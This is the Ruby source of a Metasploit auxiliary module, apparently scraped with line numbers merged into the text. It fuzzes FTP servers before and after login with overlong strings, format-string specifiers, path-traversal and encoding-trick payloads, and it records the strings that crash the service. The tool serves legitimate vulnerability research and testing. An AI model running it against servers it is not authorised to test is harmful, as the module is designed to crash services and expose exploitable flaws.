Path: blob/master/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Scanner7include Msf::Exploit::Remote::Tcp89def initialize10super(11'Name' => 'Simple FTP Fuzzer',12'Description' => %q{13This module will connect to a FTP server and perform pre- and post-authentication fuzzing14},15'Author' => [ 'corelanc0d3r <peter.ve[at]corelan.be>', 'jduck' ],16'License' => MSF_LICENSE,17'Notes' => {18'Stability' => [CRASH_SERVICE_DOWN],19'SideEffects' => [],20'Reliability' => []21}22)2324register_options(25[26Opt::RPORT(21),27OptInt.new('STARTATSTAGE', [ false, 'Start at this test stage', 1]),28OptInt.new('STEPSIZE', [ false, 'Increase string size each iteration with this number of chars', 10]),29OptInt.new('DELAY', [ false, 'Delay between connections in seconds', 1]),30OptInt.new('STARTSIZE', [ false, 'Fuzzing string startsize', 10]),31OptInt.new('ENDSIZE', [ false, 'Fuzzing string endsize', 20000]),32OptInt.new('STOPAFTER', [ false, 'Stop after x number of consecutive errors', 2]),33OptString.new('USER', [ false, 'Username', 'anonymous']),34OptString.new('PASS', [ false, 'Password', '[email protected]']),35OptBool.new('FASTFUZZ', [ false, 'Only fuzz with cyclic pattern', true]),36OptBool.new('CONNRESET', [ false, 'Break on CONNRESET error', true]),37]38)3940@evilchars = [41'A', 'a', '%s', '%d', '%n', '%x', '%p', '-1', '0', '0xfffffffe', '0xffffffff', 'A/', '//', '/..', '//..',42'A%20', './A', '.A', ',A', 'A:', '!A', '&A', '?A', '\A', '../A/', '..?', '//A:', '\\A', '{A', '$A', 'A*',43'cmd', '[email protected]', '#A', 'A/../', '~', '~A', '~A/', 'A`/', '>A', '<A', 'A%n', 'A../', '.././', 'A../',44'....//', '~?*/', '.\../', '\.//A', '-%A', '%Y', '%H', '/1', '!', '@', '%', '&', '/?(*', '*', '(', ')',45'`', ',', '~/', '/.', '\$:', '/A~%n', '=', '=:;)}', '1.2.', '41414141', '-1234', '999999,', '%00', '+A',46'+123', '..\'', '??.', '..\.\'', '.../', '1234123+',47'%Y%%Y%/', '%FC%80%80%80%80%AE%FC%80%80%80%80%AE/', '????/', '\uff0e/', '%%32%65%%32%65/',48'+B./', '%%32%65%%32%65/', '..%c0%af', '..%e0%80%af', '..%c1%9c'49]50@commands = [51'ABOR', 'ACCT', 'ALLO', 'APPE', 'AUTH', 'CWD', 'CDUP', 'DELE', 'FEAT', 'HELP', 'HOST', 'LANG', 'LIST',52'MDTM', 'MKD', 'MLST', 'MODE', 'NLST', 'NLST -al', 'NOOP', 'OPTS', 'PASV', 'PORT', 'PROT', 'PWD', 'REIN',53'REST', 'RETR', 'RMD', 'RNFR', 'RNTO', 'SIZE', 'SITE', 'SITE CHMOD', 'SITE CHOWN', 'SITE EXEC', 'SITE MSG',54'SITE PSWD', 'SITE ZONE', 'SITE WHO', 'SMNT', 'STAT', 'STOR', 'STOU', 'STRU', 'SYST', 'TYPE', 'XCUP',55'XCRC', 'XCWD', 'XMKD', 'XPWD', 'XRMD'56]57@emax = @evilchars.length5859register_advanced_options(60[61OptString.new('FtpCommands', [ false, 'Commands to fuzz at stages 4 and 5', @commands.join(' ')]),62OptBool.new('ExpandCrash', [ false, 'Expand any crash strings', false]),63]64)65end6667def get_pkt68buf = sock.get_once(-1, 10)69vprint_status("[in ] #{buf.inspect}")70buf71end7273def send_pkt(pkt, get_resp: true)74vprint_status("[out] #{pkt.inspect}")75sock.put(pkt)76get_pkt if get_resp77end7879def process_phase(phase_num, phase_name, prepend = '', initial_cmds = [])80print_status("[Phase #{phase_num}] #{phase_name} - #{Time.now.localtime}")81ecount = 182@evilchars.each do |evilstr|83if datastore['FASTFUZZ']84evilstr = 'Cyclic'85@emax = 186end8788next unless (@stopprocess == false)8990count = datastore['STARTSIZE']91print_status(" Character : #{evilstr} (#{ecount}/#{@emax})")92ecount += 193while count <= datastore['ENDSIZE']94begin95connect96if datastore['FASTFUZZ']97evil = Rex::Text.pattern_create(count)98else99evil = evilstr * count100end101print_status(" -> Fuzzing size set to #{count} (#{prepend}#{evilstr})")102initial_cmds.each do |cmd|103send_pkt(cmd)104end105pkt = prepend + evil + "\r\n"106send_pkt(pkt)107sock.put("QUIT\r\n")108select(nil, nil, nil, datastore['DELAY'])109disconnect110111count += datastore['STEPSIZE']112rescue StandardError => e113@error_cnt += 1114print_status("Exception #{@error_cnt} of #{@nr_errors}")115if e.instance_of?(::Rex::ConnectionRefused) || e.instance_of?(::EOFError) || (e.instance_of?(::Errno::ECONNRESET) && datastore['CONNRESET']) || e.instance_of?(::Errno::EPIPE)116if datastore['ExpandCrash']117print_status("Crash string : #{prepend}#{evil}")118else119print_status("Crash string : #{prepend}#{evilstr} x #{count}")120end121if @error_cnt >= @nr_errors122print_status("System does not respond - exiting now\n")123@stopprocess = true124print_error("Error: #{e.class} #{e} #{e.backtrace}\n")125break126else127print_status("Exception triggered, need #{@nr_errors - @error_cnt} more exception(s) before interrupting process")128select(nil, nil, nil, 3) # wait 3 seconds129end130end131if @error_cnt >= @nr_errors132count += datastore['STEPSIZE']133@error_cnt = 0134end135end136end137end138end139140def ftp_commands141if datastore['FtpCommands'].to_s.upcase == 'DEFAULT'142@commands143else144datastore['FtpCommands'].split(/[\s,]+/)145end146end147148def run_host(ip)149startstage = datastore['STARTATSTAGE']150151@nr_errors = datastore['STOPAFTER']152@error_cnt = 0153@stopprocess = false154155if datastore['FASTFUZZ']156@evilchars = ['']157end158159print_status('Connecting to host ' + ip + ' on port ' + datastore['RPORT'].to_s)160161if (startstage == 1)162process_phase(1, 'Fuzzing without command')163startstage += 1164end165166if (startstage == 2) && (@stopprocess == false)167process_phase(2, 'Fuzzing USER', 'USER ')168startstage += 1169end170171if (startstage == 3) && (@stopprocess == false)172process_phase(3, 'Fuzzing PASS', 'PASS ',173[ 'USER ' + datastore['USER'] + "\r\n" ])174startstage += 1175end176177if (startstage == 4)178print_status "[Phase 4] Fuzzing commands: #{ftp_commands.join(', ')}"179ftp_commands.each do |cmd|180next unless (@stopprocess == false)181182process_phase(1834,184"Fuzzing command: #{cmd}", "#{cmd} ",185[186'USER ' + datastore['USER'] + "\r\n",187'PASS ' + datastore['PASS'] + "\r\n"188]189)190end191# Don't progress into stage 5, it must be selected manually.192# startstage += 1193end194195# Fuzz other commands, all command combinations in one session196if (startstage == 5)197print_status("[Phase 5] Fuzzing other commands (Part 2, #{Time.now.localtime}): #{ftp_commands.join(', ')}")198ftp_commands.each do |cmd|199next unless (@stopprocess == false)200201ecount = 1202count = datastore['STARTSIZE']203print_status("Fuzzing command #{cmd} - #{Time.now.localtime}")204205connect206pkt = 'USER ' + datastore['USER'] + "\r\n"207send_pkt(pkt)208pkt = 'PASS ' + datastore['PASS'] + "\r\n"209send_pkt(pkt)210211while count <= datastore['ENDSIZE']212print_status(" -> Fuzzing size set to #{count}")213begin214@evilchars.each do |evilstr|215if datastore['FASTFUZZ']216evilstr = 'Cyclic'217evil = Rex::Text.pattern_create(count)218@emax = 1219ecount = 1220else221evil = evilstr * count222end223print_status(" Command : #{cmd}, Character : #{evilstr} (#{ecount}/#{@emax})")224ecount += 1225pkt = cmd + ' ' + evil + "\r\n"226send_pkt(pkt)227select(nil, nil, nil, datastore['DELAY'])228@error_cnt = 0229end230rescue StandardError => e231@error_cnt += 1232print_status("Exception #{@error_cnt} of #{@nr_errors}")233if e.instance_of?(::Rex::ConnectionRefused) || e.instance_of?(::EOFError) || (e.instance_of?(::Errno::ECONNRESET) && datastore['CONNRESET']) || e.instance_of?(::Errno::EPIPE)234if @error_cnt >= @nr_errors235print_status("System does not respond - exiting now\n")236@stopprocess = true237print_error("Error: #{e.class} #{e} #{e.backtrace}\n")238break239end240241print_status("Exception triggered, need #{@nr_errors - @error_cnt} more exception(s) before interrupting process")242select(nil, nil, nil, 3) # wait 3 seconds243end244if @error_cnt >= @nr_errors245@error_cnt = 0246end247end248count += datastore['STEPSIZE']249end250sock.put("QUIT\r\n")251select(nil, nil, nil, datastore['DELAY'])252disconnect253end254end255end256end257258259